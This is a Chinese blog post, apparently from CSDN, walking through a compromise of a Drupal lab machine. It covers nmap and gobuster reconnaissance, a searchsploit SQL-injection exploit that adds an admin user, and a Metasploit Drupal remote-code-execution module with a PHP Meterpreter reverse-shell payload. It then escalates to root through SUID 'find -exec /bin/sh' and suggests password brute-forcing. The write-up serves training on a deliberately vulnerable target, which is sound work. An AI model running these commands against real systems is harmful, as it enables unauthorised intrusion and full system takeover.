Drupal靶机实战

Drupal靶机

免责声明:以下内容仅供学习参考,如果用于任何非法途径,后果自负,希望大家做一个遵纪守法的好公民,一起保护我们的网络安全!!!

信息收集

1.扫描网段

nmap 192.168.63.0/24 -p 80

扫描出靶机 192.168.63.134

image-20230627161852099

2.IP详细扫描

nmap 192.168.63.134 -A -p-

发现以下路径:

http://192.168.63.134/INSTALL.mysql.txt
http://192.168.63.134/INSTALL.pgsql.txt
http://192.168.63.134/INSTALL.sqlite.txt
http://192.168.63.134/install.php
http://192.168.63.134/INSTALL.txt
http://192.168.63.134/LICENSE.txt
http://192.168.63.134/MAINTAINERS.txt

3.敏感目录扫描

nikto -h http://192.168.63.134
dirb http://192.168.63.134

发现上面两个工具都扫描不出其他目录,然后就尝试另外一个工具gobuster

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html -u http://192.168.63.134

最终扫描出以下路径:

http://192.168.63.134/search
http://192.168.63.134/cron.php
http://192.168.63.134/0
http://192.168.63.134/usr
http://192.168.63.134/admin
http://192.168.63.134/burmese.html
http://192.168.63.134/misc/
http://192.168.63.134/themes/
http://192.168.63.134/modules/
http://192.168.63.134/scripts/

经过以上路径尝试,发现没有什么有用的信息,都是没有权限访问。

渗透阶段

1.搜索指纹

通过以上路径的探索,发现没有可利用的信息之后,于是想通过 searchsploit工具来查找指纹,通过靶机首页可以发现,这个靶机是通过 drupal框架来做的,于是使用以下命令:

searchsploit drupal

image-20230627163931684

2.利用漏洞库文件

可以发现这个框架有很多漏洞利用库,在其中发现了一个 SQL注入的利用文件,这个文件可以用来添加管理员用户,于是使用

searchsploit -m 34992.py 下载下来,下载之后需要使用 python2 执行,然后可以看到如何使用:

image-20230627164320432

于是输入以下命令使用:

python2 34992.py -t http://192.168.63.134 -u yuan -p 123456

image-20230627164504333

可以看到,成功添加管理员用户,于是进入首页输入用户名密码,成功登录:

image-20230627164613734

3.探索后台

进入这个后台之后,经过搜索,找到文件上传去上传php文件,发现被过滤了,最后只找到有点小用的flag3信息:

image-20230627164856261

这个信息告诉我们,使用 perm可以帮助我们找到密码,但是需要去执行指令 -exec,但是这个网站没有地方有命令注入的漏洞啊,所以没办法执行,然后继续找找其他线索,最后还是没有发现。所以只能从其他方向入手了。

4.MSF漏洞利用

​ 网站找不到可以利用的线索,接下来就只能依靠 msf了,于是进入 msfconsole,通过指纹搜索search drupal

image-20230627165314361

发现有很多漏洞利用库,有几个远程代码执行漏洞,经过多次尝试,发现只有第二个能利用,利用步骤如下:

1.使用模块

use 1

2.查看配置信息

show options

image-20230627165508488

发现我们需要配置靶机地址,靶机IP,靶机端口

3.设置payload

由于这个网站是PHP写的,经过前面的信息收集很多地方都可以发现,所以payload为php

set payload php/meterpreter/reverse_tcp

4.设置 IP

set rhosts 192.168.63.134

5.设置端口

set rport 80

6.启动攻击:run

image-20230627165852034

成功拿到 meterpreter

5.探索网站目录的shell

拿到 meterpreter之后,输入shell进入终端,输入 ls可以看到当前目录信息,但是终端显示不好,于是输入以下命令优化终端显示:

python -c "import pty;pty.spawn('/bin/bash')"

image-20230627170147689

进入这个网站的终端shell之后,进行探索,首先去家目录,发现没有什么有用的信息,于是再看看 /etc/passwd文件:

image-20230627170505852

发现有一个普通用户 flag4,没有其他有用的信息了,得想到一些提权方式:

比如sudo,suid,定时任务,/etc/passwd可写,内核提权,具体的提权详细步骤可以百度,我经过尝试之后,发现在这个网站目录下可以直接执行 搜索 suid可执行程序的命令:

find / -perm -u=s -type f 2>/dev/null

image-20230627171345582

执行后发现,这个网站目录下具有执行 find命令的root权限,于是可以借助 find -exec来执行我们想要的命令,比如我们想要进入终端,于是可以输入以下命令:

find /bin -exec '/bin/bash' \;

image-20230627172021352

可以看到用户身份还是网站目录用户,所以可以尝试一下 /bin/sh

find /bin -exec '/bin/sh' \;

然后输入 whoami,可以看到,身份为root,提权成功。

image-20230627172243977

总结

​ 通过kali的漏洞利用库的远程代码执行,进入网站目录之后,我们具有惯性思维,就是直接去家目录找相关的信息,想找到普通用户的密码线索,然后基于普通用户进行提权,其实有时候思维不能定死在这里了,既然进入了网站的目录用户终端,那不一定非要普通用户的权限才能提权,也许网站目录用户也具有一些root用户的程序执行权限,所以可以先尝试提权姿势:suidsudo,定时任务等,实在没办法再从普通用户入手,拿到普通用户的权限之后再找线索。
​ 但是,有的网站目录用户是没有find执行权限或者sudo命令,于是无法使用sudo提权或者suid提权,所以这个时候想进一步提权就需要先拿到普通用户的权限,由于进入网站目录之后可以查看 /etc/passwd权限,可以发现有个flag4普通用户,但是没有其他信息了,于是就可以尝试密码爆破,因为已经确定了用户名,密码如果强大的话,爆破成功只是时间问题。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yuan_boss

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值